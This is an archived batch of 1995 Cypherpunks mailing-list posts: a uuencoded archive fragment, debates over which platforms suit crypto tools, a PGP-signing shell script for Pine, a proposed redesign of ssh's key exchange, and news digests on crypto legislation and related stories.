MT;Z]P)[N691SW1,F/G[[%M:0XRE14]9TCS"2"^/-)G0Y4XQCL;,W-!55]Z0 at M
M'U:A35^T#T5++D'!&Q!R" OIJA?M#[B;&_O=BH,[.LS526UA)GEZLJLV9D^5M
M>\X4+3_VG6+?'+!"17CH;/,HQ":^[)_IF-0TP5Q?T%%Y0Q,]DVY$MR#H^*1?M
M-\$W1XYLNQ4=#Z"^<@3H[HP%UL3 at ATIF3%>^Y(575YQV?_1JIY\:9AU= )6%M
M#-(DR\@K\I5!P!LRL[H]GW(8/!()R4JF+0A%OVR7$[14,M]E2_0U+V1M3.*0M
MJODTHJT_:LD?:PNH%\!L EL%60]2ZA(XC;3W0:7O*6Q DQ at FUDI&Z+R&*<2[M
M_S '36 =NS GF;.'KY.BBY O#Z)($6E-0!Y!@L(%/)F<I'=X*Q/ZZ&V,,.O8M
M/(+^#^<8ZL-+MA[CD(=;@A],5+/#4//G99>NSECOR-B+09!C5_*@LIC%%14NM
M8%#5&*\#3;7KOC/=P[N\MD$_?:N:^9S]]NY4=.5T)OK@,MHW#]^H01 at K>G(>M
MA2!=K;9X^_;TY,2<HYM B&N(\/+=&[#*[]^>'AZ?O'EKB+IQ.=DV$8L+[(K[M
M0)2;@].!3-,\9AOLZYW: 9\\U1<6<%^Z<YK/37LY1\(+.HHN[YEXZ5YG<2!>M
MEM at -\Q&#DF47RIU[U0A7O_#HR21)*^9V#[.*9!4#M3%*<K9_IKPLVT)B-_&3M
M$5V%,HXP.N'D&BL.P%7*KYVC.NA/VZ;Y)#,1&%UUAB?7.<AU%["C*F7H2#1PM
MCBZ@)QVX0\T%/N9L58B4BR 8Y6.0V#G/Y]7S]99-%J*XV8K-:?;!Y4I9N"S4M
M[9$%%QRDT+->9Y@?K!/-PN*V%L &[_WB>US8YDZB(=4*S"DS%R5S.8OQ=':AM
MTNU%A[!RB1NCYLZQ:'-3TDHA%W]R?=T!PBP]=JU-I50LZ)0Y.%+$&GW+%V<%M
M%$M/S04'7.U@@NMT!F^$RS9T%[SK?[VMO'Y]W:=0$I-2[<0SOJMEAE<I 95 M
M94%FPBE%MG-XBI<WN) 0X;&*Z:HK!(.+LE0T-_Z9>T+F>(M#1L>_=^Y.::TPM
MJ@^_W%1[O6I[\$5 ;EIK5OV6URMH\NBE<YS!T\'?- 4+39$5U3$A%#*YCX%BM
MD,10>$;.J^Q<]X0Y% :W%"SI6YOX+8NYGB123#F5HIKE.H'B\WA1CB4B<[BLM
MN,?- at -"'\\I<T$DI>L at Y+\=3]5;@,) +L.H$BT'LS/C'=!/RZ79'>)^]]D#TM
M+ZO-IKCPS\\[;5'KM+K7H#9X?*]^71OTL13:]*OG34\TL"&Z_<5NF72]FE]MM
ME@%8S:\#)/Q>Z[3[WJ=K^$L_JOL]KS; 7NJ^W_*;D+[7JZWJA=>WE4P8WKRNM
MXRT&^@E-U.Q 'MMIB//KOM_VX#N=)QSTR_:78BV ;^^Z._ [$%,_&.>W 5RKM
MRD\!<&=PB<OS:M=MO]JSJ\%Q!Z+:\_N("8;E  1K#M=]#[Z"A_+[_!6!^.WJM
MN=_T0?X&'7K#>I9+GU"]Z%5;92*P\!N/$_>RB at 2&EZKUSW[?J]O*+,_=!:1\M
M/1'\U+^N71HB%1G44_=Q/A8/6G\)," D=^ XFV#D*P:8/H =S(X at U_'KB& =M
M$R#^7'.T^_P9Y$/@45X?GQ[5&F\:WJGWEJZ./7K][NC-ZP>(B;_M"&Y^?_[LM
M:G-?3?P=$I6Z>'\J3NKBU!/'K\59731JXO@=6//W,(-X_5;4WHOSM^+X7)R\M
M$]X9$^80/^?@!MJ4<G2OSYM^35QY7\1YLU.[HL?/G^E+<3_ at +10X:O:IUJY&M
M)R?+'UZU6O6\:N<DN%TV;JN=1;MY-DZ2FXNSV1N5OVJ^.A]];=0O/H;?@GJWM
M_J,V:0Z2Q0S(D%9/.VWEY[?+5XVKKGP]:9U.96<]K.7CV/>NOB=Y>S4<]G^DM
MT=?S[-7KWU8?K\?-SXTPD^W9CX\0X-R^_1+<>.F/QH]1_[IW]>9\>3ONO5M]M
M/ZI^C!LK^<-OK;]^>W_V(^R,TG'C0GW_>%WO];K=RU>#:;5Z/7C^+*]]O1H>M
M3Q:^UX)_OZ[E33L-CL\6?OU^%LRFW^1)>SF\.X_ES<=H>'RZ^')\EG>3N^KTM
MD]_P:J?GSY^]ODGR[MF;=_,OS?>+E7>NQDG]Z$2FX%_]QJ+3!EJ>G7U]TYPWM
MWKZ]>%6?C)??P^GZM',9W76/.I/@^;.S66?\Q5^W!]\OEH/5\.NHEB;SL!&&M
MW]][-]7;;E7Z@%[0ZUY^]F:3>K/Q)6U5TU&W]6KV6^-5O_7\V44C6C<'[R>UM
MQD4K:EY\.GK_^=/=,KV[^+$\[;V[>C7(U8]N%G8^+=7)Y]7'UMER<-JL+3OKM
MBQ]O\C<_P+-%GVJ?J^/K3\V1.DK>.E3ZY%5O5]U75QVY"K_'R?IS^_9-L'H_M
M&7I?O_;DR<W=J[?WS3N at PVT\7:277[^U_,'1R:?;X^SN)FK<?V^_ZG_J7LW'M
MO]W+JU7G\]&Z&9]=_OB<+\>W]>7=Z<??U*M)EGB-WYX_>[.Z.KV:OIXTN[]UM
M9M_2V^7Y;YT14/_C]=?@-#R7S8O.Q=&762R;)ZOT(J]]>??U^_)KM]N=A^'[M
MW at 12PG<7?EC]?CD.7K?^_OS9W]=5;/(F^?7:]9\)]_-G_P-02P,$%  "  @ M
M/ 9['5I7WE#H 0  X04   P   !214=)4U1%4BY&4DVM5$MKVT 0OHOH/\PAM
MT!H2X5P-A10G,;JDH at DYM)2RWAU)2U:[ZCX2].\[:TF.:QS%AHYTV,?,-\_]M
M /9D)==KHV%IFC9XM%!8(P+W#HI5 7?6:']YJT6:P*0\H7628*ZR^:3J=ZRDM
M\Y;YJ'QG;),F:5(H9 ZAE$J!U.!K6ANES*O4%1V4I-8;,"W H@\V*DD'\0:\M
M6420T4-I)7]V1E]7F\0R;C8^OOP?29.S-,G)S9(*P[B'_"V\-+D\+'UP]ZS!M
MQ4XI?D_+F-/GV!FFN]GB-+-'Z17.%B=Z^RJ$1>=.-=N7(\V6TG<7\."9[ROSM
MH1D<+S]D2TT2.'@R07O;?9#7&-=MPZ3:J<41Z<0OSZ.C5J*CH1Q&'>U[8S'TM
M*=="OD at 1F'*S."6A6=,K-.6(M)4KN(;S>3:?Q\TY0%SN#DF#EDNF9C"!0L%.M
MH.S+H_%,'>[N at 6:_52&';_2&+:R6Q99.WJ]"[WO@ %XC?P9&1.!KYH&UK>JVM
MS_LG_((') YH\!]:B/\!A]-&KS5J* .1"4([<AZCC<5-*&(7X,;H3Q[< $.OM
MD>A'5V/&9_E3;#QU0.\G.H+D)70F0,U>-N; !^T+<*&JT,60:(.Z9IKC<&7QM
M3Z"K>.YYU at .U?9VDYBH(C%S9 *6.V5C^OU!+ 0(4!A0  @ ( %NZ>AUD7-6!M
M!BP  "Y3   +            ( "V at 0    !'0U!01U!&12YE>%!+ 0(4!A0 M
M   ( "NI?!T*W"K-1"   '9:   ,          $ ( "V at 2\L  !'0U!01U!&M
M12Y$;V-02P$"% 84  ( "  \!GL=6E?>4.@!  #A!0  #          ! "  M
MMH&=3   4D5'25-415(N1E)-4$L%!@     #  , K0   *].     %!+ P0*M
M      !<J7P=JCCZ&Y@   "8    #    $=#4%!'4$9%+G-I9XD E0,% "[:M
MF\&5 T43SQ_DY0$!/I\$ ,.H; PCC]##KS-8KV-[#R.=M:LD(;5:Q PYDBC$M
M* _#Z.<A)^L98K'X,W.D,E[UP8!.-F'34V<*>Q0M'>T+!0[[5.*:O<NX,R_WM
MX%;G/@W H%L"%/AZ4 at 3UD@EP6(7JKJKE O at +K!7&>@.);+*/\35T2PUW^#HDM
MQFJ1'0 at J%2P+4$L#!!0  @ ( " '>QV.B1S(# $  "H"   '    4D5!1"Y-M
M1851L6Z#,!3<D?B'URG)$-2NV:+@( 94! QM-PL>8,7X5<80Y>]K4TI5(=2;M
MK*>[=^=[18OPR<L;;Q >-$#+1P2-)8H1*]A'ES2-TI?GX"-.#]"W-,@*2E*&M
M"P6F1=^K24JZ"]5 +23V)]_S/7#(V#D,$@8+BE;T$VFA?&^_,K=]&IS!O1SGM
MQ\0N/LWL%18Y>ULL$!@DO-0T._VC#%\OO\J*RJ%#:VL$J2UIQJ(X+U at 67+,$M
MYM :&]$;/>F@)MUMB=?8AZ1V!NZD]0..1Q!F9TO2B$^'=4UY'"UA[01RT2ANM
M!HW39P. =WO!DBL8>K37L74;VHHR<BDJ;AR/F[^7L#J-7,J'#4(==!BX*%]0M
M2P$"% 8*      !1J7P=I^[K+G)/  !R3P  #            "  MH$     M
M1T-04$=01D4N6DE04$L! A0&"@      7*E\':HX^AN8    F     P     M
M       @ +:!G$\  $=#4%!'4$9%+G-I9U!+ 0(4!A0  @ ( " '>QV.B1S(M
M# $  "H"   '          $ ( "V at 5Y0  !214%$+DU%4$L%!@     #  , M
*J0   (]1        M
 M
end
size 21070


----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From jamesd at echeque.com  Sat Jul 15 18:19:26 1995
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 15 Jul 95 18:19:26 PDT
Subject: Deployment
Message-ID: <199507160119.SAA10662@blob.best.net>


At 11:28 PM 7/15/95 +0100, Rev. Mark Grant wrote:
>
>So, anyone want to volunteer to port Privtool to Windows ?

Uh, pardon my ignorance, but what is privtool, and why is it
a good thing to port it to windows?

(As compared to the task of integrating PGP into microsofts
mail tool.)
--
  ------------------------------------------------------------------
We have the right to defend ourselves	|  http://www.jim.com/jamesd/
and our property, because of the kind	|
of animals that we are. True law	|  James A. Donald
derives from this right, not from the	|
arbitrary power of the omnipotent state.|  jamesd at echeque.com






From tcmay at sensemedia.net  Sat Jul 15 18:36:09 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Sat, 15 Jul 95 18:36:09 PDT
Subject: Unix not the Only Place for "Vanguard" Applications
Message-ID: <ac2db8a0140210049d2e@[205.199.118.202]>


At 12:24 AM 7/16/95, alex wrote:
>MS-Windows boxes and Macs still don't do multitasking well;  that's going

Agreed, certainly.

>The preeminence of unix in a lot of the work that's being done isn't the
>result of snobbishness or even personal taste.  It's just a nice,
>convenient platform to do the work on.

I certainly would never say the success of Unix is due to snobbishness,
though personal taste does play a role. And, historically, the
academic/pedantic aspects of Unix played a role in its adoption.

(Most important, I think, was that the proliferation of minicomputer and
mainframe operating systems was controlled by Unix killing off all the
proprietary, vendor-specific OSs.)

>People pick the tools they feel comfortable using, and they match them to
>the job at hand.  I can't run Pagemaker on my linux box so if I need to do
>some layout work I use a mac or ms-windows.  But if I want to set up a web
>server I use linux because it's quick and cheap.  If you want to edit a
>feature film, use an SGI workstation.  If you want to set up a word
>processing system that someone from the temp service will be able to run,
>use ms-windows and word.

Sure. Same here. All I was addressing was the claim that no vanguard apps
ever appear on PCs, that Unix is where it all happens.

>I'm sure that when windows-95 comes out officially, good tools will appear
>for that platform.  But the lack of solid multitasking and freely
>available development tools in ms-windows 3.11 is the reason that more
>robust crypto tools for that platform don't exist, not an ivory tower
>mentality on the part of the people doing the work.

I certainly have not claimed that. In fact, I'll be the first to concede
that Mac users are more ivory tower types, in the sense of being fanatics
and advocates for their platform. (Though there are some Unix bigots out
there, notably now on Linux....I don't see Linux making any strides in the
workstation (SGI, Sun) market, just on the cheap Intel-based boxes
people--mostly non-corporate, it seems to me--are buying.)

--Tim May


..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From anonymous-remailer at shell.portal.com  Sat Jul 15 21:04:29 1995
From: anonymous-remailer at shell.portal.com (anonymous-remailer at shell.portal.com)
Date: Sat, 15 Jul 95 21:04:29 PDT
Subject: unix, vanguard
Message-ID: <199507160403.VAA04878@jobe.shell.portal.com>


>The preeminence of unix in a lot of the work that's being done isn't the
>result of snobbishness or even personal taste.  It's just a nice,
>convenient platform to do the work on.  

There is a well written essay on the "preeminence of unix" at
http://gnn.com/gnn/bus/ora/features/history/index.html.  It
essentially says Unix has survived for so long because universities use
it, and you could license it fairly cheap.  Most people (I'm talking
about 90% of computer users, even more in the future) couldn't care
less about features such as tying apps together with shell scripts, 
pipes, and some bubble gum.

>But the lack of solid multitasking and freely available development 
>tools in ms-windows 3.11 is the reason that more robust crypto tools 
>for that platform don't exist.

What are some "robust crypto tools" that are available for unix, and also
aren't available for DOS/Windows?

I kinda think the reason more tools aren't available for PCs (Windows/Mac)
is because there is no appreciable MARKET for such tools yet.  If there
were, since PCs have a market share an order of magnitude or two larger
than unix, such tools would have a greater influence anyway.  
--
Karl L. Barrus <klbarrus at infocom.net>






From hayden at krypton.mankato.msus.edu  Sat Jul 15 21:46:30 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Sat, 15 Jul 95 21:46:30 PDT
Subject: PINESIGN:  Simple Script for Signing Pine Email
Message-ID: <Pine.ULT.3.91.950715233427.26104A-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

I liked using the mkpgp program for signing email, but found that, quite 
frankly, it had too many features for me to use, when really all I wanted 
was a program that would sign my messages easily.  This accomplishes just 
that.  If you want to encrypt messages, either use mkpgp or encrypt your 
messages outside of pine.

Instructions are provided as comments within the script.

Let me know if you have any problem.

============ ** CUT HERE **

#!/bin/sh

# PINESIGN v1.0
# Written by:  Robert A. Hayden <hayden at krypton.mankato.msus.edu>

# PINESIGN is a simple program that will allow you to automatically sign 
# your email and news messages composed with the Pine 3.89 mail reader.  It 
# may also work with other mail and news programs, but it has not been 
# tested.

# INSTRUCTIONS FOR CONFIGURING PINE
# 
# You need to define the following options in Pine.  This can be done 
# either via the SETUP options in the main menu of Pine, or via editing 
# the .pinerc. 
#
# 	A)	signature-file=" "  (an empty space)
#	B)	enable-alternate-editor-cmd
#	C)	enable-alternate-editor-implicitly (optional but recommended)
#	D) 	signature-at-bottom
#	E)	editor=<exact path to this script>

# INSTRUCTIONS FOR CONFIGURING PINESIGN
#
# The PGP program must be in your path, and the PGPPATH environment 
# variable must be defined.  See the PGP documentation for details.
#
# Double check that the first line of this program points to sh. 
#
# Edit the SIGPATH and PINEEDITOR variables to point at your signature 
# (if any) and the editor you wish to use for your Pine mail.  Default 
# signature will be the file .signature in your $HOME directory.  
# Default editor is pico -z -t.

SIGPATH=$HOME/.signature
PINEEDITOR='pico -z -t'

# INSTRUCTIONS FOR USING PINESIGN
#
# When you compose a message, you will compose your message as normal.  
# When you exit your editor (control-X in Pico), you will receive a prompt 
# asking if you wish to sign the message.  If you respond with y, Y or just 
# press return, you will be prompted for your PGP passphrase and then 
# dumped back to the address/subject section of Pine.  If you type 
# anything else, your message will not be signed.  Your .signature file 
# will be appended AFTER your digital signature. 
#
# If you have not defined your alternate editor to be run implicitly, you 
# will need to start it manually.  If you do not run the alternate editor,
# your .signature file will not be appended and you will also have to do
# that manually.  It is highly recommended that your define your alternate
# editor to run implicitly. 

###  DO NOT EDIT ANYTHING BELOW THIS LINE  ###

$PINEEDITOR $1
clear
echo -n "Would you like to sign this message with your PGP signature? [y] "
read ANS

if [ "$ANS" = "y" ]
	then pgp -sat +comment="PGP Signed with PineSign 1.0" $1
	mv $1.asc $1
fi

if [ "$ANS" = "Y" ]
	then pgp -sat +comment="PGP Signed with PineSign 1.0" $1
	mv $1.asc $1
fi

if [ "$ANS" = "" ]
	then pgp -sat +comment="PGP Signed with PineSign 1.0" $1
	mv $1.asc $1
fi

echo " " >> $1
cat $SIGPATH >> $1

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMAiZnTokqlyVGmCFAQGEdwP/bEpO7xcABhc5RTmWg0zfB+42r7GJyURJ
b4x36dudJfHV5BWnwS3hK3OyunalPkTjIjoztG5pANL1FU9OWqP3fNqedYzXTzy5
uhmWqVQ40znnDc4iipTRenUZgjI4x7BuXIh+CRoYJ3rvPuvc73ZARRaYzlpgxDBT
M1m8RSeMrhE=
=kA0H
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From roger at coelacanth.com  Sat Jul 15 22:03:54 1995
From: roger at coelacanth.com (Roger Williams)
Date: Sat, 15 Jul 95 22:03:54 PDT
Subject: speeding detected by civilians
In-Reply-To: <Pine.SUN.3.91.950713150252.17575B-100000@crl8.crl.com>
Message-ID: <rogerohyxp80a.fsf@sturgeon.coelacanth.com>


In article <3u4g3t$pn8 at nntp.crl.com> Buzz at static.noise.net (Buzz White) writes:

   >> Vernon Hills, Illinois, a Chicago suburb, has passed legislation allowing 
   >> citizens to check out radar guns from the local police department to 
   >> catch speeders in their community. The radar guns are combined with 
   >> cameras in order to instantaneously capture the car, license number, and the 
   >> rate of speed. The citizens can check out the units for a week at a time. The 
   >> police have stated that they, at this time, will use the data to issue 
   >> warning letters to the violaters.

   Can they use them to bust COPS that speed?   Heh heh.

If Vernon Hills has any citizens left with spines, you can bet that
the local police are going to start to get a couple hundred pictures
of cop cars per week... Hell, I'll bet that I could take that many
by *myself* :)

-- 
Roger Williams  --  Coelacanth Engineering  --  Middleborough, Mass

#!/usr/local/bin/perl -s-- -export-a-crypto-system-sig -RSA-in-3-lines-PERL
($k,$n)=@ARGV;$m=unpack(H.$w,$m."\0"x$w),$_=`echo "16do$w 2+4Oi0$d*-^1[d2%
Sa2/d0<X+d*La1=z\U$n%0]SX$k"[$m*]\EszlXx++p|dc`,s/^.|\W//g,print pack('H*'
,$_)while read(STDIN,$m,($w=2*$d-1+length($n||die"$0 [-d] k n\n")&~1)/2)





From cp at proust.suba.com  Sat Jul 15 22:45:21 1995
From: cp at proust.suba.com (alex)
Date: Sat, 15 Jul 95 22:45:21 PDT
Subject: unix, vanguard
In-Reply-To: <199507160403.VAA04878@jobe.shell.portal.com>
Message-ID: <199507160550.AAA05385@proust.suba.com>


> What are some "robust crypto tools" that are available for unix, and also
> aren't available for DOS/Windows?

Mixmaster, CFS, premail, the alias system at alpha.c2.org, etc.

I know there are similar versions of some of these on pc boxes (sfs, 
secure drive, and private idaho), and those are good packages.  But using 
private idaho on a pc is still a lot more of a hassle than using premail 
on a unix box (the latter can be completely transparent), and although I 
haven't seen the source code to private idaho, I'll be willing to bet 
it's a lot more complicated than the premail script.

If you want to do something like Raph's remailer list, would you rather 
implement it on a pc running windows or with a perl script on a unix 
box?

SFS is a great program, it works well, and it's very useful.  But the 
design of CFS, which runs as an NFS server, is more elegant.  Would you 
rather drop a new cipher into secure drive or sfs, or into CFS?

> I kinda think the reason more tools aren't available for PCs (Windows/Mac)
> is because there is no appreciable MARKET for such tools yet.  If there
> were, since PCs have a market share an order of magnitude or two larger
> than unix, such tools would have a greater influence anyway.  

Did the market produce these unix tools?  If Zimmermann was a 
businessman, wouldn't he have produced weak exportable code?  Sometimes 
innovative products create the market, rather than the other way around.  
If there's a market for remailers, I'm inclined to think it's because we 
were able to glimpse the possibilities thanks to the original perl based 
type I remailer.

As I said before, unix has a lot of problems.  It's a crummy os if you
want to write letters or do desktop publishing:  even if you have good
software to do these things, the system's going to cost you too much if
that's all you're using your computer for.  But if have an idea for a
remailer and you'd like to throw something together over a weekend that
will work, it's hard to beat it.





From mazieres at pa.dec.com  Sat Jul 15 23:20:57 1995
From: mazieres at pa.dec.com (David Mazieres)
Date: Sat, 15 Jul 95 23:20:57 PDT
Subject: Ssh "security hole": proposed fix
In-Reply-To: <199507151502.SAA01269@shadows.cs.hut.fi>
Message-ID: <9507160615.AA06186@venus.pa.dec.com>


Well, here is the proposed new ssh protocol as I understand it.

  A -> B: A
  
  B -> A: PKb, PKsb, Cb

    session_id := {PKb, PKsb, Cb}_MD5
  
  A -> B: Cb, {{session_id XOR Kab}_PKsb}_PKb        (*)
  A -> B: {A}_Kab
  A -> B: {PKa}_Kab
  
  B -> A: {{Nb}_PKa}_Kab
  
  A -> B: {{Nb, session_id}_MD5}_Kab

It does seem to solve the two problems I pointed out.  However, I am
troubled by how complicated the protocol is, and how much encryption
is going on.  One of the principles I have heard stated says that more
encryption does not mean more security.  A good example of that seems
be the session key PKsb above.

In line (*) of the protocol, you say the session key (or now I guess
really session_id XOR Kab) is encrypted first with whichever of Kb,
Ksb has the larger modulus.  Under normal circumstances (the ones
depicted above), the first encryption will be with PKsb.  However, if
ever PKb were to come first, then PKsb would be completely vulnerable
to a "man in the middle" attack, and thus would be completely useless.

Wouldn't it make sense to simplify the protocol significantly, so as
to make it easier to understand and easier for us to convince
ourselves of its robustness?  What about something like what follows
this message?

To come up with the protocol I appended, I took your protocol and
stuck the the full context of each message into the message itself, so
that none of the previous problems could occur.  Then I eliminated all
complications like double encryption and challenges that did not add
to the security of the protocol.  Now granted I'm no authentication
expert and could easily have made a mistake here, but at least it will
be easier to catch because the protocol is simpler.  Who know what the
implications of that XOR really are?

David


PREAMBLE:

(1)  A -> B: A

(2)  B -> A: Cb, PKsb, PKb

(3)  A -> B: {Kab}_PKsb, {A, B, Cb}_Kab

(4)  B -> A: {{A, B, Cb, Kab, PKsb}_SKb}_Kab


SSH_AUTH_RHOSTS:

(5)  A -> B:  0

SSH_AUTH_RHOSTS_RSA:
SSH_AUTH_RSA:

(5)  A -> B: {{A, B, Cb, Kab}_SKa, PKa}_Kab

SSH_AUTH_PASSWORD:

(5)  A -> B: {Ka}_Kab





From mab at crypto.com  Sun Jul 16 01:18:30 1995
From: mab at crypto.com (Matt Blaze)
Date: Sun, 16 Jul 95 01:18:30 PDT
Subject: Unix not the Only Place for "Vanguard" Applications
Message-ID: <199507160827.EAA00243@crypto.com>


Cypherpunks, as they say, write code.

It doesn't really matter very much what platform cypherpunks write
code for, as long as we actually write code.  Progress comes from
getting stuff done and making results available so that others can
expand on it and use it, not from sitting around optimizing what
should be done (by others, of course) in the future.  (Ever notice
how, every time this comes up, the question is always something
like "why aren't people writing more software for platform X?" and
never "I want to write some software - does anyone have any
suggestions on which platform would have the most impact?")

Every minute spent arguing about whether Unix, DOS, Macs or VIC-20s
constitute the optimal platform for writing and deploying crypto
software is a minute during which no crypto code is being written
or deployed for Unix, DOS, Macs, or VIC-20s.

Just write code.  For whatever platform you like writing code for.

-matt





From Buzz at static.noise.net  Sun Jul 16 02:12:03 1995
From: Buzz at static.noise.net (Buzz White)
Date: Sun, 16 Jul 95 02:12:03 PDT
Subject: The Recent Flurry of Anit-Crypto Activity... Why?
Message-ID: <3u6oj5$fir@nntp.crl.com>


Has anybody given thought to the reasons behind this..

More to the point, the question  "Why Now?" comes to my mind.

It generally takes (criminal) legislation a couple of years to be effective,
i.e. get hammered out, passed, and entered into the US Code by the
legislature, then get acted upon by local DA's, then have a court case come
to a successful conclusion for the lawmakers.

Well, if anybody bothers to look, over the next 2-5 years, some very
significant US patents expire concerning crypto - and this opens the door
for a truly widespread integration of "difficult" crypto into commonly used
systems, by "big name" software manufacturers, who have heretofore shied
away due to patent infringement fears (and ITAR restriction, which will
hopefully soon fall due to the courts).  

Lets face it - the real reason that public key crypto hasn't gone over (here
in the US) is that there has only been generally ONE source of commercial
public key crypto - and they are not concerned with doing anything in a
competitive nature (other than using civil lawsuit threats to maintain their
monopoly).  Shareware and Freeware are great, but it is hard to get most
companies to accept them for general usage (The arguments I have had with
clients just to get them just to accept binaries compiled with GCC,
jeezus!).  And Shareware/Freeware (with a few notable exceptions) products
do not usually have that "slick" consumer (i.e. computer illiterate)
oriented interface that most non-technical users need.  As an example,
compare how simple the Mac and Windows interfaces are for the most
successful  products, then look at the interface to PGP - even via Private
Idaho and WinPGP or WinFront it is kluge-y.  So commercial adaptation is our
ultimate best hope (until then, Shareware/Freeware and PGP are our ONLY
hope).

[climbing into pulpit]
So, I posit that this legislative swirl is an attempt to squash true "crypto
for the masses" (via real commercial integration) before it gets out "into
the world".  The C-Punks have midwifed (sp?) this one, and seen to it that
crypto has survived its infancy and is thriving in childhood (PGP), but to
get it to finally grow up and go out into the world on its own, it needs to
be commercially viable.  That mean no hassles over the algorithms, etc.  The
next few years could see crypto leave our loving environment and flourish,
or see it get ambushed by government agents with shotguns on the doorstep.
That is what our next fight should be -- to delay these laws until they are
too late.  For once we get crypto truly running free and loose, there will
be no way to reign it in again.
[climbing out of pulpit]

Anybody have a better analysis of the "Why Now" part of the question?  I'd
love to hear a better reasoned (possibly not as paranoid) opinion, as this
one just occurred to me -and I kinda flung it out here without too much
forethought.  And as for the ambush  metaphor, ask somebody about Randy
Weaver's wife...

Buzz

--
Liberals and Conservatives differ only in what they regulate
and which part of government power they increase.  One wants
to control your money, the other your soul.
No Thanks - I'll keep my money and my soul for myself.






From Andrew.Spring at ping.be  Sun Jul 16 04:52:06 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Sun, 16 Jul 95 04:52:06 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <v01510104ac2d9af1127e@[193.74.217.19]>



>ranked as a mobster subject to RICO.  My guess is that the intent is that
>from one placement on an FTP server or one posting to a newsgroup, the
>perpetrator of that heinous act will have passed his RICO qualification and
>therefore be subject to having all he owns taken from him.

RICO question:  i thought that the idea of RICO is to confiscate assets of
racketeers that are derived from criminal activities.  PGP and remailer
software is distributed free.  so would RICO seizures even apply (yes I
know this doesnt' always stop the FBI)?

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From jya at pipeline.com  Sun Jul 16 06:24:19 1995
From: jya at pipeline.com (John Young)
Date: Sun, 16 Jul 95 06:24:19 PDT
Subject: FAM_15\"
Message-ID: <199507161324.JAA26100@pipe1.nyc.pipeline.com>


   7-16-95. NYPaper:


   "New Concerns Raised Over a Computer Smut Study. 'They
   wanted to be famous.' It worked."

      Growing controversy over a widely publicized study of
      on-line computer pornography, conducted by a researcher
      at Carnegie Mellon University, has prompted the
      university to investigate whether the research violated
      ethical or academic guidelines. The investigation
      follows the disclosure by angry faculty members that an
      undergraduate student and his principal faculty adviser
      at Carnegie Mellon spied on the private computer habits
      of nearly 3,000 students, staff members and other
      faculty members last year as part of the research study
      into pornography viewing habits.               KEY_hol


   "Documents Were Destroyed as F.B.I. Resisted Seige
   Investigation. Hints of a cover-up: more embarrassment over
   a fatal confrontation."

      A Justice Department report not yet made public on the
      F.B.I.'s standoff with a white separatist in Idaho shows
      that in late 1992 and early 1993 F.B.I. managers were
      frantically trying to block Federal prosecutors from
      obtaining the Bureau's records on the case. Justice
      Department investigators, who uncovered the document
      destruction, have found that a career F.B.I. official
      stripped the files of official records that would have
      clearly shown if top F.B.I. officials in Washington were
      in command of the operation.                   FOL_hah


   Siamese:  FAM_15"












From rsnyder at janet.advsys.com  Sun Jul 16 08:31:04 1995
From: rsnyder at janet.advsys.com (Bob Snyder)
Date: Sun, 16 Jul 95 08:31:04 PDT
Subject: PGP-integrated mail readers (was Re: Deployment)
In-Reply-To: <Pine.3.89.9507161551.A1196-0100000@unicorn.com>
Message-ID: <199507161531.LAA27343@janet.advsys.com>

A non-text attachment was scrubbed...
Name: not available
Type: application/pgp
Size: 14 bytes
Desc: not available
URL: <https://lists.cpunks.org/pipermail/cypherpunks-legacy/attachments/19950716/c50125f1/attachment.bin>

From jya at pipeline.com  Sun Jul 16 08:58:06 1995
From: jya at pipeline.com (John Young)
Date: Sun, 16 Jul 95 08:58:06 PDT
Subject: G0D_dim
Message-ID: <199507161558.LAA10839@pipe1.nyc.pipeline.com>


   7-16-95. NYPaper:


   "The Spies' Code and How It Broke. The Russians had a
   problem: it's almost impossible to be perfectly random.

      The Russians suffered from a lapse in quality control.
      They inadvertently let some pattern find its way into
      their scrambled codes, a loose thread that allowed
      American code breakers to unravel the scheme. "Given a
      pure, perfect one-time system, you're not going to break
      it," said David Kahn, visiting historian at the N.S.A.'s
      Center for Cryptologic History.                RAN_dum


   "Twilight of the Nukes. The post-war years were spent
   hoarding nuclear weapons. Now it's time to put them away."

      Since that first nuclear test the United States has
      built 70,000 nuclear weapons of almost every conceivable
      kind: warheads, artillery shells, land mines, depth
      charges and even backpack-style plutonium explosives
      weighing 58 pounds but equivalent to 10 tons of TNT. But
      now it is the twilight of the nukes. They are being
      taken apart by the United States and the Soviet Union at
      the rate of 10 or 12 a day, and the new problem is how
      to keep track them of all.                     TWI_god



   >1:  G0D_dim








From monty.harder at famend.com  Sun Jul 16 09:04:04 1995
From: monty.harder at famend.com (MONTY HARDER)
Date: Sun, 16 Jul 95 09:04:04 PDT
Subject: Stego Standards Silly ? (
Message-ID: <8AD5238.000300015F.uuout@famend.com>


LM> The standard answer to agent-in-the-middle tampering is of
LM> course digital signatures. Now, the question is, will we be allowed to sign
LM> our possibly-stego-enclosing GIFs with reasonable confidence that the govt.
LM> can't forge our signatures ? Obviously the signature itself can't be
LM> stegoed, or else we fall into an infinite regress.

  Not obvious at all. You encrypt and sign as usual, stego the resultant
output, and perhaps include in the stego routines some kind of CRC or
hash if you like. But the point is that the signature still works to
